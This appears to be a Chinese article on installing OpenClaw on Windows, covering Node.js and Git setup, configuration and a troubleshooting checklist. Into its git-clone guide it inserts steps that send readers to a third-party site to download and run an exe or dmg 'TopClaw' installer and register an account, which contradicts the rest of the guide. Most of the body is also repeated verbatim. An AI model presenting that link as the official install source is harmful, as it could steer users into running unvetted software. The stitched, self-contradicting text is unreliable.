ARTICLE · 1088092
一文搞定Openclaw小龙虾Windows部署,附避坑清单
一文搞定Openclaw小龙虾Windows部署,附避坑清单第一次在 Windows 上部署 OpenClaw，我前后折腾了两个晚上。报错五花八门，从运行环境版本不匹配到端口冲突，几乎每一步都能卡住。后来把流程捋顺了才发现，核心其实就三件事：备好环境、拉代码、配参数。这篇把完整流程和我踩过的坑一次性写清楚，照着做基本能一次跑通。
一、先把基础环境备齐，别急着拉代码
很多人上来就克隆仓库，结果第一步安装依赖就报错，回头再补装环境，反而更慢。建议按下面的顺序把地基打好。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
系统建议 Windows 10 21H2 以上或 Windows 11，内存 8G 起步，低于这个配置跑起来会比较吃力。
安装 Node.js，优先选 LTS 的偶数版本，装完在新开的终端里执行 node -v 和 npm -v，确认能正常输出版本号。
安装 Git for Windows，安装过程保持默认选项即可，它会顺带把 Git Bash 也装上。
如果你打算长期挂着跑，顺手装一个进程守护工具，后面会用到。
这里有个容易被忽略的细节：装完 Node 之后一定要重新开一个终端窗口。Windows 的环境变量是启动时读取的，旧窗口里永远看不到新装的命令，不少人就是被这个坑卡了半小时。
我自己的习惯是，每装完一个依赖就开个新终端验证一次。看着麻烦，但比事后满世界找“为什么提示不是内部或外部命令”要省时间得多。 
二、拉代码、装依赖、把它跑起来
环境确认没问题之后，剩下的动作其实很线性。
找一个纯英文、不带空格的目录存放项目，比如在 D 盘根目录下新建一个文件夹。中文路径和空格是不少工具链的雷区。
克隆仓库到本地，然后进入项目目录。
执行依赖安装命令。如果下载速度慢，可以先换成国内镜像源，速度会有明显改善。
把配置模板复制一份成正式配置，填入接口地址、密钥，以及数据存放目录。
启动服务，终端出现监听端口的日志就算成功了，用浏览器访问本地地址看看界面是否正常。
配置文件里的密钥千万不要硬编码进代码，也不要提交到 Git 仓库。稳妥的做法是把配置文件写进忽略列表，密钥单独放在一个不参与版本管理的位置。这事看着小，一旦泄露就是实打实的损失。
三、避坑清单：这几个问题我全踩过
终端提示脚本被禁止运行：用管理员身份打开终端，把执行策略改成 RemoteSigned 即可。
端口被占用：先用命令查一下是哪个进程占着，能换端口就换，换不了再结束进程。
首次运行提示缺少编译工具：部分依赖需要本地编译，装一下官方构建工具包就好。
防火墙弹窗被随手点了拒绝：之后服务能启动但访问不了，去防火墙设置里把放行规则补回来。
黑窗口一关服务就停：用进程守护工具或任务计划把服务挂到后台，别指望一直开着终端。
自动更新后突然跑不起来：把版本固定住，升级前先在备份目录里试一遍。
最后说点个人看法。这类工具的价值不在于装完那一刻的成就感，而在于你能不能让它稳定地跑上几个月。所以别追求一次配到完美，先把主流程跑通，再去调参数和插件。遇到报错先看日志的最后几行，九成问题的答案都在那里。真正花时间的从来不是安装本身，而是搞明白它为什么报错。把上面这些经验用上，你应该能在半小时内看到界面。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn
一、先把基础环境备齐，别急着拉代码
很多人上来就克隆仓库，结果第一步安装依赖就报错，回头再补装环境，反而更慢。建议按下面的顺序把地基打好。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
系统建议 Windows 10 21H2 以上或 Windows 11，内存 8G 起步，低于这个配置跑起来会比较吃力。
安装 Node.js，优先选 LTS 的偶数版本，装完在新开的终端里执行 node -v 和 npm -v，确认能正常输出版本号。
安装 Git for Windows，安装过程保持默认选项即可，它会顺带把 Git Bash 也装上。
如果你打算长期挂着跑，顺手装一个进程守护工具，后面会用到。
这里有个容易被忽略的细节：装完 Node 之后一定要重新开一个终端窗口。Windows 的环境变量是启动时读取的，旧窗口里永远看不到新装的命令，不少人就是被这个坑卡了半小时。
我自己的习惯是，每装完一个依赖就开个新终端验证一次。看着麻烦，但比事后满世界找“为什么提示不是内部或外部命令”要省时间得多。
二、拉代码、装依赖、把它跑起来
环境确认没问题之后，剩下的动作其实很线性。
找一个纯英文、不带空格的目录存放项目，比如在 D 盘根目录下新建一个文件夹。中文路径和空格是不少工具链的雷区。
克隆仓库到本地，然后进入项目目录。
执行依赖安装命令。如果下载速度慢，可以先换成国内镜像源，速度会有明显改善。
把配置模板复制一份成正式配置，填入接口地址、密钥，以及数据存放目录。
启动服务，终端出现监听端口的日志就算成功了，用浏览器访问本地地址看看界面是否正常。
配置文件里的密钥千万不要硬编码进代码，也不要提交到 Git 仓库。稳妥的做法是把配置文件写进忽略列表，密钥单独放在一个不参与版本管理的位置。这事看着小，一旦泄露就是实打实的损失。
三、避坑清单：这几个问题我全踩过
终端提示脚本被禁止运行：用管理员身份打开终端，把执行策略改成 RemoteSigned 即可。
端口被占用：先用命令查一下是哪个进程占着，能换端口就换，换不了再结束进程。
首次运行提示缺少编译工具：部分依赖需要本地编译，装一下官方构建工具包就好。
防火墙弹窗被随手点了拒绝：之后服务能启动但访问不了，去防火墙设置里把放行规则补回来。
黑窗口一关服务就停：用进程守护工具或任务计划把服务挂到后台，别指望一直开着终端。
自动更新后突然跑不起来：把版本固定住，升级前先在备份目录里试一遍。
最后说点个人看法。这类工具的价值不在于装完那一刻的成就感，而在于你能不能让它稳定地跑上几个月。所以别追求一次配到完美，先把主流程跑通，再去调参数和插件。遇到报错先看日志的最后几行，九成问题的答案都在那里。真正花时间的从来不是安装本身，而是搞明白它为什么报错。把上面这些经验用上，你应该能在半小时内看到界面。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn